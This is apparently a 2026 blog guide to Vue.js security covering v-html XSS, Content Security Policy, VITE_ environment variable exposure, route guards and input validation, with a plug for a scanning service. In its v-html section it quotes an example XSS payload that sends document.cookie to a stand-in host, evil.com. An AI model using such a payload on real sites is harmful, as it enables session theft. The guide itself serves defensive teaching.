Vue.js Security Best Practices 2026: XSS, CSP, Env Exposure & Route Guards
Vue.js security is as much about what you avoid as what you implement. Vue's auto-escaping protects you in 99% of cases — but a single v-html directive on user-controlled content can hand an attacker full XSS execution. This guide covers the patterns that protect Vue applications in production.
Start by scanning your deployed frontend with ZeriFlow — it checks your Content Security Policy, security headers, and TLS configuration in one free scan.
1. The v-html XSS Risk
Vue escapes all template interpolations by default. {{ userInput }} is safe. v-html is not.
Dangerous:
<template>
<!-- Never do this with user-controlled content -->
<div v-html='userBio'></div>
</template>If userBio contains <script>alert(1)</script> or <img src=x onerror=fetch('//evil.com/'+document.cookie)>, you have a stored XSS vulnerability.
Safe alternatives:
Option 1 — Escape the content:
<template>
<div>{{ userBio }}</div>
</template>Option 2 — Sanitize with DOMPurify before using v-html:
npm install dompurify<template>
<div v-html='sanitizedBio'></div>
</template>
<script setup>
import DOMPurify from 'dompurify';
import { computed } from 'vue';
const props = defineProps({ bio: String });
const sanitizedBio = computed(() =>
DOMPurify.sanitize(props.bio, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
FORBID_SCRIPTS: true,
})
);
</script>2. Content Security Policy for Vue Apps
A strict CSP is the last line of defense against XSS. For Vue apps served from a CDN or Nginx, set it in the response header.
Nginx configuration:
add_header Content-Security-Policy
"default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.yourdomain.com;
font-src 'self' https://fonts.gstatic.com;
frame-ancestors 'none'";For Vite, use the vite-plugin-csp plugin:
// vite.config.js
import { defineConfig } from 'vite';
import { cspPlugin } from 'vite-plugin-csp';
export default defineConfig({
plugins: [
cspPlugin({
policy: {
'default-src': ["'self'"],
'script-src': ["'self'"],
'style-src': ["'self'", "'unsafe-inline'"],
},
}),
],
});Note: Vue's inline styles require 'unsafe-inline' for style-src unless you use nonces, which significantly complicates the setup. This is a known tradeoff.
3. Environment Variable Exposure
In Vite-based Vue apps, any variable prefixed with VITE_ is bundled into the client JavaScript and visible to anyone who inspects the source.
What NOT to put in VITE_ variables: - API secret keys - Database credentials - Private keys or tokens - Internal service URLs
What IS safe: - Public API base URLs - Feature flags - Analytics IDs (GA, Mixpanel) - Public Stripe publishable keys
# .env
# Safe to expose
VITE_API_BASE_URL=https://api.yourdomain.com
VITE_STRIPE_PUBLISHABLE_KEY=pk_live_...
# NEVER expose — these do not need VITE_ prefix
API_SECRET_KEY=sk_live_... # Server-side only
DATABASE_URL=postgres://... # Server-side only
STRIPE_SECRET_KEY=sk_live_... # Server-side onlyRun grep -r 'VITE_' src/ and audit every variable. If you are unsure whether a value is sensitive, assume it is and keep it server-side.
4. Vue Router Guards for Authentication
Client-side route guards are a UX convenience, not a security boundary — but they prevent unauthorized users from seeing restricted UI and leaking information through the interface.
// router/index.js
import { createRouter, createWebHistory } from 'vue-router';
import { useAuthStore } from '@/stores/auth';
const router = createRouter({
history: createWebHistory(),
routes: [
{ path: '/', component: HomeView },
{ path: '/login', component: LoginView },
{
path: '/dashboard',
component: DashboardView,
meta: { requiresAuth: true },
},
{
path: '/admin',
component: AdminView,
meta: { requiresAuth: true, requiresRole: 'admin' },
},
],
});
router.beforeEach((to, from, next) => {
const auth = useAuthStore();
if (to.meta.requiresAuth && !auth.isAuthenticated) {
return next({ path: '/login', query: { redirect: to.fullPath } });
}
if (to.meta.requiresRole && auth.user?.role !== to.meta.requiresRole) {
return next({ path: '/403' });
}
next();
});
export default router;Always enforce authorization on the server. Route guards only hide UI — the API must independently validate every request.
5. Input Sanitization and Validation
Use a form validation library consistently. Vue 3's recommended approach is VeeValidate with Zod:
npm install vee-validate zod @vee-validate/zod<script setup>
import { useForm } from 'vee-validate';
import { toTypedSchema } from '@vee-validate/zod';
import { z } from 'zod';
const schema = toTypedSchema(
z.object({
email: z.string().email('Invalid email'),
password: z.string().min(12, 'Minimum 12 characters'),
comment: z.string().max(500, 'Max 500 characters')
.regex(/^[^<>]*$/, 'No HTML allowed'),
})
);
const { handleSubmit, errors } = useForm({ validationSchema: schema });
const onSubmit = handleSubmit(async (values) => {
// values are validated and typed
await api.post('/comments', values);
});
</script>6. Dependency Auditing and Source Map Leakage
npm audit
npm audit fixFor production builds, disable source maps to avoid leaking your application logic:
// vite.config.js
export default defineConfig({
build: {
sourcemap: false, // Never in production
},
});ZeriFlow checks for exposed .map files on your production domain — a surprisingly common misconfiguration that reveals your full source code to attackers.
FAQ
### Q: Is Vue's default XSS protection sufficient without v-html?
A: Yes — Vue HTML-escapes all {{ }} interpolations. The only XSS vectors are v-html, innerHTML manipulation in lifecycle hooks, and rendering user-controlled component names. Avoid all three with user data.
### Q: How do I handle authentication tokens in Vue? A: Store access tokens in memory (Pinia store) and refresh tokens in httpOnly cookies. Never store sensitive tokens in localStorage — it is accessible to any JavaScript on the page, including XSS payloads.
### Q: Are there Vue-specific security linting rules?
A: Yes — eslint-plugin-vue includes security-related rules. The rule vue/no-v-html warns on all v-html usage. Enable it in strict mode and require a review comment for any intentional usage.
### Q: How do I prevent CSRF in a Vue SPA?
A: If your Vue app authenticates via httpOnly cookies, include a CSRF token in request headers. If you use Bearer tokens in Authorization headers, CSRF is not applicable — browsers do not send Authorization headers automatically.
### Q: Should I use Vue 2 or Vue 3 for new projects? A: Always Vue 3. Vue 2 reached end-of-life in December 2023 and no longer receives security patches. Remaining on Vue 2 means accumulating unpatched vulnerabilities over time.
Conclusion
Vue.js security in 2026 means respecting the framework's auto-escaping, being surgical about v-html, keeping secrets off VITE_ variables, enforcing route-level auth guards (backed by server-side checks), and validating all input. These are not complex changes — they are habits.
Verify your running application from the outside. Run a free ZeriFlow scan to check your CSP headers, TLS configuration, and source map exposure — the issues that code review alone cannot catch.